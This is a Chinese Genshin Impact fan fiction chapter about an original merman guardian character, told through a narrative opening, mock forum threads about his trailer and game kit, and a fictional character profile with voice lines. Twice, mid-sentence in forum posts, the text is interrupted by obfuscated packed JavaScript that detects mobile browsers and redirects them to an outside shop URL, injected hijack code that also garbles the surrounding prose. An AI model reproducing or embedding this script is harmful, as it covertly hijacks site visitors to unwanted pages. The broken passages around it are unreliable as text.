他被巨兽摁在海滩上,脖子以下的骨骼被重力压得粉碎,内脏破裂,血液从崩裂的皮肤上渗出,身下晕染出大朵的红牡丹。 他抬起手,在巨兽亲昵的低鸣声中召唤无数洪流将其包裹、切割,人类的舰队不知疲倦的冲撞,在哀鸣声中,他被涌动的海潮包裹、卷走,然后落入王的怀抱。 “你为什么要保护人类呢?”不解的王如此问他。 他的眼前闪过很多片段,屋檐下的爷爷和孙女,海崖上戴着头巾的妇人,顶着湖光铃兰花圈的小小土坡,海上风暴中哭嚎的妇孺,岸边向他跪下道谢的人类……那些幻影随着水泡一起缓缓上浮然后破裂。 他咳出肉块和血液,疲惫的笑了笑,并没有正面回答:“太短暂了啊。” 无论是人类,还是神明,生命都太过短暂了啊。他只是不经意间瞥了一眼,就是一个人短短的一生。 [窥探到命运的剪影,是对我的惩罚吗?] “预言是会实现的,到时候我们都会被淹没在海里!” 天才们计算出高天定好的未来,绝望而无助的寻找着自救的出路,而他浮出海面眺望枫丹廷的方向,他知道新的水神就在那里,他知道她们的计划,可他帮不上忙,只能对绝望的人类一遍遍重复:“别害怕,已经有人为此支付了代价。” “你们不会灭亡在水中,这是我的承诺。”青年人鱼低声道,“也是我作为大守护者的职责。” [我讨厌被命运摆布。] 他看着癫狂的实验发生,看着深海涌动的光亮,看着神座上那个强忍不安的身影,看向无知无觉的王。 [我要走到岸上去。] 他在鲸鱼腹中,在母亲的怀抱中如此祈求:他渴求拥有撕裂外敌的力量,他渴求拥有走到岸上去的双腿,他渴求在未来的动乱中保护他想要保护的人。 [既然已经看见了未来,没道理不去改变……对吧?] 闭目流淌着血泪的人鱼缓慢的睁开眼睛,他是侧着身子站立的,也因此当感受到其他视线后,猩红的眼珠向右下移动,注视焦点正是屏幕中心。 像是透过屏幕询问正在观看他自述的人。 【帖子】卡吕普迪斯角色pv信息量未免太大了 1L楼主 卡吕普迪斯这个角色pv直接给我勾得原地起跳,不就是粉球吗?拿走,全拿走! 2L 他说的话很有意思,五百年前直接拥有了预知未来的能力,太作弊了吧。 3L 他那么早就认识了厄歌莉娅,厄歌莉娅还邀请他去建立枫丹,我嘞个豆啊,他活了真的有千年啊 4L 从来没这么直观的感受到原神世界的千年。雷穆利亚王朝,前枫丹,以及灾厄后的枫丹,他全都用眼睛注视着。 5L 那个纯水精灵说痛苦的她是谁啊?厄歌莉娅吗?众所周知厄歌莉娅因为创造人类带来诅咒而痛苦 6L 不对吧,不都说带她去见众水的女主人了吗?纯水精灵向来这么称呼厄歌莉娅,肯定是别人 7L 是伊黎耶吧 8L 伊黎耶一块岛怎么用她来称呼? 9L 伊黎耶是人的名字,也是当初反抗雷穆利亚暴政的反抗头领之一,人生极具传奇性。为了纪念她的功绩,她的名字被用来给地区命名。 10L 我想起来了,就那个纯水骑士反抗军头头是吧?后来为了寻找什么纯水之杯隐入荒野不见踪迹 11L 不是,你们打哪看的?任务里没写啊? 12L 圣遗物文本,副本介绍,大世界闪光点调查……总之信息来源很多,慢慢拼凑出来的。 13L 我下本只关心有没有出货…… 14L +1,你们这些原学家真可怕啊 15L 算不上原学家,只是对原神讲的故事很有兴趣。有一说一,原神大世界的世界观真的塑造的很好,各个地区都有自己的历史故事,而不是空洞的苍白 16L 我只能说,主线12+还是限制了发挥 17L 是这样的。而且我没有想到一个pv居然会有水仙十字院的故事,哪怕只有一两帧也足够了。可怜的雷内和雅各布啊…… 18L 我看了一圈,好像没人对他感叹厄歌莉娅死亡的可悲有什么看法 19L 能有什么看法,厄歌莉娅作为工具人是板上钉钉的事。出生就是为了替代胎海心脏,拥有魔神位格是为了收拾雷穆利亚留下的烂摊子,死也是讨伐坎瑞亚,然后尸体化作灵光与母树镇守一方——哇真是一人十八用,提瓦特最强工具人。 20L 卡吕普迪斯就是知道这些才觉得她可怜吧…… 21L 不对啊,明明他拥有预知能力是在五百年前,厄歌莉娅邀请他加入枫丹起码是雷穆利亚灭亡后旧枫丹创始初期。那个时候他怎么知道的? 22L 他是现在在回忆过去,当时的借口不是要效忠那维莱特吗? 23L 我仍然觉得怪怪的 24L 我也有点,而且他最后那个眼珠转动,让我想到了原神她姐姐家的某位律者…… 25L 哦NO,不要再想了 26L 他最后那个询问是在问我们吧?是吧是吧?怎么有种次元壁在被触碰的感觉。 27L 这还是第一次有角色的pv这么长而且动画表现这么丰富,末尾秀一下也不是不可能 28L 依照老米的严谨程度,这恐怕不是简单的秀一下 29L 所以卡吕普迪斯到底知道多少啊,他怎么就知道芙卡洛斯和芙宁娜约定好欺瞒天理和命运的?还对其他人说有人为此支付了代价,就是指的芙宁娜和芙卡洛斯吧 30L 包的啊,他知道但是不能说 31L 说起来,卡吕普迪斯一开始并不喜欢人类吧。雷穆利亚时期他只是坐在海崖上远眺,看了一小会就继续做自己的事。纯水精灵感叹的时候他的表情也很平静,附图.jpg 然后是他和厄里那斯交战掉回海里浮现的回忆,那里面有相当多的人类剪影片段,那维莱特问他为什么要拼上命保护人类,就是因为他在人类那里感受过温暖吧,他也为地上那些小小的生命动容吧。然后“太短暂了”这句话绝对绝对是一把寿命论刀子。他这个时候甚至笑得出来,附图.jpg 接着是那维莱特加入枫丹廷后,他也受封大守护者。这个时候明显表情变化更多更丰富了,不再是平静,而是怜悯、脆弱、柔软,他在安慰恐惧诅咒降临的人类的时候,自己会不会也很害怕呢?害怕这些自己看着长大的小小人类被海水吞没。他说保护他们是大守护者的职责,他看得见未来,知晓命运多么残酷,所以向原始胎海祈求拥有保护他们的力量。无论是受苦五百年的芙宁娜芙卡洛斯,是他那个对情感并不敏锐反而迟钝的王,还是被他守护数百年的人类和海洋,他都想要守护。 所以他渴求拥有撕裂鲸鱼驱逐外敌的力量,所以他渴求变为人形走到岸上去侦察未发现角落,是因为他想要保护更多人和生命……OMG,OMG! 32L 这么快就剖析完了?好牛…… 33L 这就是pv名字是【渴求】的含义吗? 34L 渴求力量,渴求守护,渴求摆脱命运的安排……老天,他到底知道多少,他知道提瓦特的命运线是轮回往复的吗? 35L 反正他肯定知道未来要出乱子 36L 你知道的,要刀先刀预言家 37L楼主 哦NO——— …… 69L 4.3卡池开了,有人捞出卡吕普迪斯了吗 70L 捞出来了,正在到处找湖光铃兰,之前养芙芙全用完了,还没来得及攒一个168 71L楼主 卡吕普迪斯到底咋用啊,我看那技能介绍看得我一脸懵逼,一会红一会蓝一会鱼一会漩涡一会鲸鱼的 72L 他那个定位就是减抗增伤,算是五星水元素专拐了 e战技比较复杂,跟芙芙一样分两种形态,重击转化,芙芙是黑白双色,卡吕普迪斯是红蓝两种形态。蓝色形态下武器往地上一杵,直接变鱼在空气里游动,增加移速,看见怪就大尾巴抽就行,减15%水抗,持续时间20秒,冷却12秒。注意别游出范围了,游出范围后直接变成人然后扣掉当前血量一半,按百分比扣。范围内切人变回来不掉血。 红色形态还是开e把武器往地上一杵,零命六根水元素锁链自动索敌,四命十二根,持续输出,冷却和持续时间依旧是12和20秒。 q大招基于生命值上限释放水元素范围伤害,召唤漩涡聚怪。这个漩涡面积很大,你在深渊啪的一下砸出来能轻松覆盖大半个场地。大招一放就OK,零命十级天赋直接减60%水抗,增加30%水元素相关伤害。注意,是所以水元素相关元素反应,包括感电这种聚变反应。不算圣遗物,不算叠层,上来直接就是减抗增伤。 因为他的两个固有天赋很变态。一个让生命值和精通减抗挂钩,生命转精通。另一个固有天赋让队内除他以外任何角色只要在大招范围内击败怪物就可以持续回血,最高回到50%。他自己不行,自己想回血只能靠四命命座。 至于你说的鲸鱼,那是一命卡吕普迪斯大招带的特效,大招开启后一头特别大的鲸鱼从漩涡里出来冲击怪物,就是漩涡聚怪鲸鱼打伤害,被打到敌人身上有个小鱼标记,标记显示期间队友打死怪物回血。标记是天赋自带的哈。 特别一提,一命的鲸鱼只是虚影,要专武才有实体 73L 逆天数值,逆天减抗,逆天增伤,逆天回血,逆天聚怪。 逆天卖卡,为了特效就得1+1呗。他那个专武我都不想说,巴啦啦魔法棒似的,还是生命词条。 74L 增伤还是芙芙更胜一筹,这个赛道无人能及。但是减水抗增加水元素相关反应伤害是真的猛 75L 我们水系反应也是迎来荣光了哈 不过卡吕普迪斯专武〔厄里那斯之遗]真的是个毒点,也就被动特效能够说一说,大招开启后按持有者生命值百分比增加前台角色普攻爆伤,简单粗暴,最高66%——好了知道他大招水附魔了 76L 龙王队好像塞不下,毕竟他主要是增加水元素反应伤害的……等等你说什么,增加前台角色普攻爆伤? 龙王狂喜 77L 别的队能塞啊,绫人也是战技开后普攻打伤害啊! 78L 我们绫人也是站起来了 79L 不只是绫人吧,弓箭手角色普攻输出,胡桃也喝上汤啊,这波直接加强老角色 80L 就是命座毒点太多,一命往后全是增加他自身输出的,二命加战技15%暴击,三命增加大招天赋等级,四命可以战场输出给自己回血,五命加战技天赋等级,六命流弊了,直接来个免疫水元素伤害,战技和大招持续期间增加70%水元素相关反应伤害——只给自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144116|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加的,摆明了高命座输出。 总之,想捞出来打辅助的零命就行,专武优先一命,往后没必要。 81L 一些博主也是这么推荐的,说零命就是辅助完全体,蓝鱼减抗增伤够用,圣遗物选生命2+2就行,目前没有特别适配的四件套。想增伤增多点就捞个专武,想他自己打伤害就切红鱼站场输出,捞命座,氪佬的主场,害。 82L 卡池开了四小时,他的核爆视频已经出来了。普攻一下999万。 83L 上一个普攻核爆还是芙芙吧……我嘞个逆天枫丹人啊 84L 哦哦哦,有人捞了1+1卡吕普迪斯去给林尼和龙王打核爆去了 85L 此时又有一个散兵正在被扛着音响围殴 86L 说起散兵……话说扩散算在他这个增伤里面吗 87L 你要知道原神扩散反应是吃触发者自己的精通,无论触发者是在前台还是后台。目前的风c就小鹿散兵和魈吧,卡吕普迪斯在风男队伍里只有染水这一个功能。当然,他那个专武可以提供额外的普攻爆伤。 88L 水系专拐,没得说。 …… 120L 我靠大傻春!谁用满命卡吕普迪斯单通深渊12层了! 121L 我再一次感受到满命水元素伤害免疫以及相关元素反应伤害增加70%这句话的的份量……接近六万血的鱼站在那里,深渊的怪物才是挑战者吧? 122L 视频传疯了,水形幻人和鱼面面相觑,满屏的免疫——血量不带动的啊。 123L 我笑岔气了,水形幻人也是遇到了制裁它的大boss了,让它一锤子捶死我输出! 124L 那个作者一开始是用卡吕普迪斯打没有水形幻人的那间,用莱欧斯利单通水形幻人的,一整个激情互秒。不知道是哪个大聪明在直播间让他用卡吕普迪斯打水形幻人,他还真的在打通之后把两个换了个位置,莱欧斯利在上半吭哧吭哧,卡吕普迪斯在下半跟水形幻人面面相觑,作者仗着水形幻人打不死角色,直接放大了屏幕让我们看卡吕普迪斯的表情,恰好是圆圆的蓝眼睛,好呆。当时直播间笑疯了,满屏都是哈哈哈哈哈哈哈 125L 那个作者说了一句“卡吕普迪斯你平时怎么收拾水怪的”,屏幕上的卡吕普迪斯发呆久了来一句语音“有点难办啊” 太有节目效果了哈哈哈哈哈哈哈 126L楼主 我看完剪辑回来了,满命牛逼,无需多言。 127L 这是第一个满命直接免疫一种元素伤害的角色吧?好超标啊我的天 128L 哪里超标了,他打的就是水元素反应或者直伤,免疫怪物伤害,怪物也免疫他的伤害啊。 果然命座是毒点吧 129L 增加水元素反应伤害70%是无人在意吗?算上他自己零命自带的减抗,输出不要太可怕 130L 总体来说还是划算的,零命完全够用,想加普攻伤害捞专武,想大招好看点就再捞一命,不愧是大守护者,真是太亲民了 131L 顺带一提,不想要他专武结果歪到手了的,可以给钟离,让盾更厚,增加前台蓄力射击弓箭手爆伤 132L 谢谢,我正愁双金多出来的一把魔法棒是加精还是丢仓库,这就拉满给钟离先生 133L 谁问你啊!!!恼羞成怒.jpg 134L 欧皇滚出去,不要再来刺激我了,我歪了个透心凉 135L 看起来很不错的样子,他生活天赋是啥,在水里不会淹死? 136L 不,是平平无奇的在小地图上显示枫丹地区区域特产位置 另外,鱼不会被水淹死这个特点没有写在文本,你抽到了直接带他下水去,会发现只要是在提瓦特水体里,他自带枫丹海专属体力条,怎么折腾都不会淹死。类似芙芙战技启动水面行走,不写在技能描述里的 137L 小知识,在枫丹下水前开e,技能范围内进水后会一直保持鱼尾姿态,在水里不会扣血。技能持续时间结束出水到岸上后变人也不会扣血。在水里切人再切回来还是鱼姿态,其他角色在海底房间里待过一段时间,到水里切回卡吕普迪斯来也是鱼姿态。如果卡吕普迪斯在房间是人形态,再次进水也还是人形态。 鱼尾巴在枫丹海跃出海面真的太漂亮了……真的就是海中精灵 138L 有人发现卡吕普迪斯鱼姿态下水是不会吸引怪物仇恨的,切成其他角色立刻进入战斗状态,切回卡吕普迪斯后仇恨消失,切其他人又是进入战斗状态。 好一个看菜下碟。 139L 他传说任务里说过,枫丹海的小生命很尊重他,不会主动发起攻击。 140L 枫丹海里有地方传奇记得吧,每个怪有不同的应对方式。但如果你拥有一只卡吕普迪斯,而且以鱼姿态下水,游到地方传奇身边是不会吸引仇恨的,然后一尾巴拍死,成就到手。 我已经靠他方式帮无数小萌新打过地方传奇拿到成就了,就连几个攻略博主都说实在打不过摇抽到了卡吕普迪斯的朋友来帮忙,一尾巴的事。 141L 《论卡吕普迪斯在枫丹海的绝对统治力以及对游戏平衡的破坏力》 策划真的忍心自己辛辛苦苦设计的怪物被鱼一尾巴拍死? 142L 当初前瞻的时候就说了,卡吕普迪斯在枫丹海拥有绝对统治地位,是仅次于那维莱特的最高存在。在大世界的具体表现就是一尾巴一个小怪物。 难怪枫丹海这么大却没有乱子,卡吕普迪斯尾巴都抽抽筋了吧 143L 卡吕普迪斯自己就是最大的海怪,角色故事里有说过,他本身的形态并不符合人类的审美,他也一直没有用过那种形态。大招介绍里有一句:在他乡的传说里,海中有操控漩涡吞没过往船只的巨大海怪,而卡吕普迪斯恰好拥有这种权能。 卡吕普迪斯是音译。本身取材于希腊神话里漩涡海怪的名字,不过那个海怪是女性,而我们卡吕普迪斯是男孩子。 144L 他命座是海妖座,所以到底是海妖还是海怪 145L 有啥区别吗?合起来就是海里的妖怪呗 146L 哇真是简单粗暴 …… 66.番外 角色介绍[番外] 卡吕普迪斯 生日 5月1日 所属 枫丹廷 权柄 水 命之座 海妖座 枫丹的大守护者,维系海洋千百年的和平,备受民众尊敬。 使用武器 长柄武器 【普通攻击·旧日之仪】 普通攻击:进行至多六段的连续枪击。 重击:消耗一定体力,对附近敌人造成物理伤害,并改变自身形态,切换自身的始基力属性。 始基力:卡吕普迪斯登场时,始基力属性为芒性。 下落攻击:从空中下坠冲击地面,攻击下落路径上的敌人,并在落地时造成范围伤害。 【慈水与怒涛】 卡吕普迪斯拥有了他渴求的变化之姿。根据卡吕普迪斯当前的始基力属性,展现的战斗姿态分为[人鱼华姿]与[海妖本质]。 芒性:基于卡吕普迪斯的生命值上限,造成水元素范围伤害,并恢复人鱼本来的身姿,召唤海洋的投影,增加自身移速。基于生命值上限,造成水元素伤害。[人鱼华姿]施展期间,为敌人展示慈水宽宥,无法进行重击和下落攻击。 [人鱼华姿]施展期间,将为角色提供15%水元素额外伤害减免。此外,在[人鱼华姿]持续期间离开海洋投影范围后,扣除卡吕普迪斯当前50%生命值。 荒性:基于卡吕普迪斯的生命值上限,造成水元素范围伤害,同时生成最大数量的锁链链接武器与敌人,提高角色的抗打断能力。最多通过这种方式生成12根锁链。初始锁链的最大数量为6根。 链接期间,卡吕普迪斯以[海妖本质]姿态对敌人施加怒涛制裁。 枫丹人常说,海分为慈水与怒涛两种姿态,他也是如此。作为大守护者,他不可过于仁慈,也不能过分严苛,其中度量需要慎重权衡,幸而他一直做得很好。 【漩涡与鲸鸣】 召唤内聚的漩涡,展示属于海洋可怖姿态的一角,基于卡吕普迪斯生命值上限,减少敌人水元素伤害抗性。增加水元素反应伤害,将敌人与物体牵引至所在位置,施加小鱼标记。自中心造成大量水元素范围伤害,并对其中的敌人造成间歇的水元素伤害。 在他乡的传说里,海中有操控漩涡吞没过往船只的巨大海怪,而卡吕普迪斯恰好拥有这种权能。深海的漩涡仅仅只是展露一角,便足以让人窥探到其恐怖的本质。 【泪水与守护】 卡吕普迪斯不愿意伙伴遭受来自水的伤害。触发水元素相关反应后,基于卡吕普迪斯生命值上限,为队伍中所有角色提供水元素反应增伤,至多增加30%,持续35秒。通过这种方式获得的不同水元素反应伤害加成可以共存。 进入战斗状态后,卡吕普迪斯每1000生命值为敌人减少10%水元素抗性,至多减少70%,持续35秒。 【诅咒与赐福】 除卡吕普迪斯以外,队伍中任何角色在漩涡领域内击败拥有小鱼标记的敌人都将获得持续血量回复,漩涡消失后,血量继续回复,直到队伍内其他角色生命值高于或等于50%。 【巡逻与探测】 在小地图上显示周围的枫丹区域特产的位置。 【资料·语音】 初次见面:你好,我是卡吕普迪斯,枫丹的大守护者……这并不是很大的职位,说通俗点,就是枫丹海上保安和清洁工。请不要往海里扔垃圾,那和往我家丢垃圾没有区别。被我逮到的话…… 闲聊·点心:你饿吗?派蒙饿吗?我记得你们这样大的孩子总是很容易饿,这里有几包从沉玉谷带回来的小点心,拿去垫垫肚子吧。 闲聊·苦恼:有点难办啊……我是说,你半天不动,我腿站麻了。 闲聊·预感:总觉得有人在背后偷偷骂我。是不是科学院那批研究员? 下雨的时候:雨季……快到了吧。 下雪的时候·讨饶:快要变成冷库里的冻鱼了。行行好,带我去温暖的地方吧。 下雪的时候·至冬:想起了至冬的北部大森林,以及某个笨蛋。 起风的时候:鱼可以飞吗?我想飞。 在沙漠的时候:让一条鱼在沙漠行走,可以纳入枫丹十大酷刑之一……变身咸鱼就在此时了。 早上好:早上好,其实我很想回去睡回笼觉,但是今天的巡逻工作还没有结束。 中午好:不想自己做饭,我只会一道菜。 晚上好:提瓦特的星空虽然一直都是那样,但是很漂亮。如果累了,可以躺下来看看星空,或者月亮。 晚安:晚安,小朋友,祝你做个好梦。 关于卡吕普迪斯自己·工作:其实我之前很想辞职的,毕竟随着人类科技发展,诸如天气预测海上救援这种事已经不太需要我了。但是老大不允许,所以我现在兼职文娱宣传和高层检查工作……更容易生气了。 关于卡吕普迪斯自己·旅游:长生种绕不开【磨损】两个字。海水会上涨,记忆也会褪色,我无法逆转这种变化,只能尽可能的拖延无色的到来。旅游算是我放松心情的最好手段了,隔壁璃月的沉玉谷是我最喜欢的地方,气候、水土、人文、美食……我喜欢那里,等哪天那维莱特不当大审判官了,我就带他和美露莘们去沉玉谷住几百年。 关于我们·分享:这是枫丹廷现在流行的甜品,这是遗珑埠寻芳斋新推出的点心,还有限量发售的特定口味枫达,都有双份,给你和派蒙。小朋友口味应该都差不多?如果我没记错的话…… 关于我们·宝箱:你喜欢开宝箱对吗?枫丹大地上有许多等待冒险者解密获得的宝藏,海里也有小生命们收集的珍藏。我带你去找,或者以物换物,希望你不要在繁殖季伤害这些小家伙。抚育后代已经用尽了它们的心力,我希望它们都能看见明天的太阳……就当是我对你下达委托吧。 关于权柄:我是王的眷属,是海的子嗣,天然拥有对水元素的支配权,所以不需要神之眼或者别的什么媒介。说起来神之眼这种东西……有得必有失,高天从不做赔本买卖。 有什么想要分享:枫丹是很漂亮的国度,拥有全体瓦特面积最大的海洋与湖泊,物种最为丰富的原海异种,以及特有植物荧光垂柳。我个人推荐湖中垂柳和水立方作为旅游打卡景点,拍照很出片,让游客全方位感受到水之国的奇妙……嗯?你不是问枫丹旅游景点推荐吗?不好意思,职业病犯了。 想要分享的东西,嗯……浅海区的汐藻很甜,用铃兰编花环需要加柳枝固定,水立方下面总能捞出各种惊喜……抱歉,我的生活比较匮乏,多数时候都是我在接受家人的分享。但我很想听你旅行的见闻。 感兴趣的见闻:枫丹人似乎对于编排我有很深的执念,乐此不疲的进行有关人鱼的文学创作或者美术设计。老实说,我佩服他们的想象力,因为你完全看不出来原型是我。啊,人类的大脑真是奇妙…… 关于那维莱特·家人:我的上司,老大,拥护的王,还有相依为命的家人。他在我这里同时拥有许多身份,无法想象哪一天他不在了会是什么样子,大概是个恐怖片吧。有时候我很担心他这样连轴转工作会不会累倒,毕竟黑眼圈有点严重。下次让美露莘监督他休息好了,那维莱特对于孩子总是心软的。 关于那维莱特·守护:那维莱特对于情感很迟钝,比我更迟钝。他在人类社会生活了五百年,仍然是雾里看花一般不真切的感受着情绪。古龙大权收回也让他品尝到了悲伤,我早已预料到这一天会到来,却自私的希望晚一点,再晚一点。因为太痛了,痛到让我们忍不住瑟缩。人类的寿命是如此短暂,却轻易的许诺永远。他很快又将告别一个个熟悉的朋友,留下来的那个才最痛苦。 可我不能阻止他感受这个世界,虽然前进意味着失去,但我们不能停滞不前。 关于夏洛蒂:我记得她,粉头发的小姑娘,蒸汽鸟报社的记者。当初她兴致勃勃的找我采访,但我对于记者这个行业有点恐惧,因为文人杀人不见血,所以我拒绝了。现在想来虽然有点抱歉,但是不后悔。希望她未来工作顺利。 关于芙宁娜:她是坚强而勇敢的人类,长生种的心志也不一定能硬抗五百年的惶恐,而她做到了。很抱歉帮不上她们什么忙,我只能选择沉默。现在的话,祝她余生顺遂,平平安安……不会蛀牙。 关于娜维娅:像野蔷薇一样的年轻孩子,我见过她悲伤流泪,也见过她展露笑颜,像是沙漠故事里的金蔷薇……她烤的马卡龙很甜,希望她的笑容也能一直甜蜜下去。 关于夏沃蕾:枫丹特巡队队长,实力我姑且认可,在人类中也算翘楚。经常会在小吃摊偶遇她买炸薯条,美名其曰消灭罪恶……今天下班后我也去消灭一下罪恶好了。希望她每次出警都能平安归来。 关于林尼和琳妮特:小猫兄妹,两个性格天差地别的孩子,小时候就初见端倪。他们一路走来很不容易,吃了很多苦,幸好家人都陪伴在身边,他们的家长也很负责,我还是比较放心的。啊,希望猫猫的炉火永远是温暖的。 关于菲米尼:他是个内敛又温柔的孩子,喜欢一个人戴头盔发呆放空自己,和他说话不一定能及时得到回应……但请不要生气,也请多给他一些时间,毕竟内敛的孩子看世界比活泼的孩子要慢一些,那不是坏事。我希望有更多人接受他待在在自己的舒适区,而不是指手画脚的让他搬出来。 关于千织:漂洋过海来到异乡打拼的姑娘,果敢而坚韧。我欣赏她的才华和美学,以及她对于自我的坚持。愿她在追求梦想的道路上走得更远一些。 关于莱欧斯利:梅洛彼得堡的公爵大人…老实说我对他很有好感,毕竟他讲话风趣幽默,管理有方,也很会做生意,自他接手梅洛彼得堡监狱长职位后,排污终于规范了,就这一点便足够我感谢他。他好像没有什么很想要的,祝他工作顺利? 关于希格雯:我们家的小姑娘,医术高明,很会制药。就是乐此不疲的给我做营养餐,啊……真是太让人印象深刻了,有谁愿意帮我分担吗?下次去梅洛彼得堡看她,希望食堂里的饭菜能正常一点…… 关于克洛琳德:逐影猎人的继承者,枫丹优秀的决斗代理人,实力毋庸置疑。如果你和她相处久了,能发现她很多时候都在一本正经的冷幽默,莫名戳中我的笑点。听说她和娜维娅和好了,那真是让我欣慰。 关于阿蕾奇诺:小猫兄妹和小企鹅敬爱的【父亲】。我对于愚人众没有什么恶感,对于壁炉之家也无负面情绪,毕竟他们在枫丹还是很规矩的。我对阿蕾奇诺印象不深,不过我确定她很爱她的孩子们,这就够了。 关于达达利亚:很有活力的年轻人,永远洋溢着好像少年漫主角一样的昂扬斗志,让我这种老家伙有一点点羡慕呢……他的伤应该快好了吧,新的冒险也在展开,期待下次见面听他讲述新的冒险故事。 关于烟绯:烟绯小姐的专业能力让我信赖,当年委托她打了一场漂亮的官司,几百年也陆陆续续互相赠礼联络,虽然希望不会有需要我去打官司的机会,但和律师打好关系显然不是坏事,对吧? 想要了解卡吕普迪斯·其一:我的工作就是在枫丹海上海下闲逛,清理垃圾,找负责人扯皮,游客来枫丹后在海里稍微露一下脸。只要你不乱丢垃圾污染环境,我就很喜欢你。 想要了解卡吕普迪斯·其二:枫丹的法律还是比较完善的,有时候也让我苦恼。毕竟看到一些屡教不改的家伙,总忍不住想要动手呢。 想要了解卡吕普迪斯·其三:我的记忆力不太好,隐约记得我从前应该是知道很多东西的,不过现在模模糊糊的记不真切,犹如雾里看花。不算坏事,毕竟有时候知道的越多死的越快。 想要了解卡吕普迪斯·其四:我在枫丹人那里有个外号,是[枫丹保育员]。因为他们发现我总在捡孩子养,无论是龙蜥、鲸群、美露莘,还是人类幼崽。严格来说我名下并没有收养的人类孩子,对三大龙裔也只是起到监护人作用。 我没有勇气再去扶养一个人类孩子从摇篮到坟墓了。 想要了解卡吕普迪斯·其五:在我还没有走到岸上去,在为枫丹打工五百年的年岁里,工资都被汇聚到一个账号里。想要取钱只能本人亲自去办理业务,而我去不了,导致我五百年没有切实的花过工资。现在有个新的问题,五百年的工资不花完就会一直有人找我推销银行业务,但是金钱不能在短时间内迅速流入市场……果然还是找个人一起花钱比较好,对吧? 卡吕普迪斯的爱好:躺在海底无所事事的睡大觉,或者去沉玉谷逛街吃饭。不上班我的心情就会愉悦,而让自己愉悦就是我的爱好。什么?你说捡孩子?现在可不能随便捡孩子养了,都有各自的长辈盯着呢。 卡吕普迪斯的烦恼:又要清理藤壶了……怎么长得这么快? 喜欢的食物:点心是茶好月圆,正菜是番茄炖肉。我喜欢能吃出食材本味的菜肴,以及不甜的甜品。 讨厌的食物:我讨厌海鲜,还有半生不熟的蔬菜。无论是气味口感还是其他,我都不喜欢。 受到赠礼·其一:我喜欢这个,谢谢你。 受到赠礼·其二:不错嘛,有一手。 受到赠礼·其三:你认识希格雯吗? 生日:生日快乐,小朋友。你在提瓦特又度过了一岁,收获了一些新的见闻,在我看不到的地方,也成长了很多呢。很高兴你能来到这个世界,很高兴遇见你。我和海洋都祝福你,祝福你的前路坦荡,旅途顺遂。 突破的感受·起:感觉不错,谢谢你。 突破的感受·承:辛苦你为我奔波,感谢你,朋友。 突破的感受·转:难以想象……你愿意为我做到这个地步。要经历多少艰苦的战斗呢? 突破的感受·合:我的力量已经达到了一个可观的程度,这都要感谢你的辛勤付出。抱歉,我不善言辞,只能承诺如果你有需要,请不要吝啬使用我的这份力量。因为守护你也是我的心愿。 元素战技·其一:游鱼啊…… 元素战技·其二:慈水宽宥。 元素战技·其三:我见猩红…… 元素战技·其四:怒涛制裁。 元素爆发·其一:沉没吧。 元素爆发·其二:晚安咯~ 元素爆发·其三:你该哀悼了。 打开宝箱·其一:亮晶晶的东西,好看。 打开宝箱·其二:大概每个族群对于珍藏的定义都不一样。 打开宝箱·其三:你也会留下这样的馈赠吗? 生命值低·其一:我感觉我不太好。 生命值低·其二:这下有点难办了。 生命值低·其三:打死他打死他! 同伴生命值低·其一:就是他欺负你? 同伴生命值低·其二:别害怕,我在。 倒下·其一:未曾预料到呢…… 倒下·其二:到安全的地方去吧…… 倒下·其三:对不起,食言了…… 受重击:作死啊! 受重击:我要生气了。 加入队伍·其一:我来咯~ 加入队伍·其二:走,带你找宝箱! 加入队伍·其三:新的故事开始了。 【帖子】鱼的前后反差为什么如此巨大? 1L楼主 刚开始认识卡吕普迪斯我以为他是第二个那维莱特,正经严肃可能带有一些小反差,谁知道反差这么大,他自己就是个一本正经的搞笑男啊! 2L 终于有人开楼吐槽了。我就那天抽到了鱼放队伍里跟散兵一起跑图,让他在沙漠里站了一会,他就说要变成咸鱼了,还是什么枫丹十大酷刑。天可怜见的,我都没忍心让他挨打好吗? 3L 他们枫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152030|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹角色好像都对沙漠接受不良 4L 毕竟是一条鱼呢,自嘲自己要变成咸鱼干好好笑。 5L 带他去龙脊雪山也会触发语音,还是条怕冷的鱼,什么身娇体弱既视感,求我带他去温暖的地方,哼……看他可怜就大发慈悲带他回枫丹了。 6L 稍微有点好奇他怎么去过至冬,还有北部大森林是怎么回事,某个笨蛋又是谁? 7L 笨蛋指的是福勒依斯,他传说任务里的那个纯水精灵。当年芙卡洛斯把所有纯水精灵赶出枫丹,福勒依斯去了至冬北部大森林定居,为了解决森林水脉的污染散尽力量差点回不来,是鱼去接她回家的。他们从雷穆利亚时代就是经常一起聊天的话搭子,自那以后关系更好了。 8L 说起福勒依斯,我想起前阵子在短视频平台很火的一个片段。就是福勒依斯掐着鱼脖子说他再忍痛把自己憋晕过去,就一拳把他打进梅洛彼得堡——谁知道鱼憋着不肯立即变人是担心进梅洛彼得堡打螺丝导致美露莘政审不过关啊! 9L 这么荒谬的吗?之前不是说鱼渴求变成人吗?怎么又要忍着不肯变了? 10L 不是不肯变,是想晚一点,等家里孩子考完沫芒宫公务员笔试。话说海沫村怎么还会有万恶的考级考证? 11L 格蕾丝蒂,就鱼身边那个经常出现的美露莘,她考了心理学证书和营养师证书,还有其他杂七杂八的证,说是用的到。吓晕我了。 12L 海沫村好可怕…… 13L 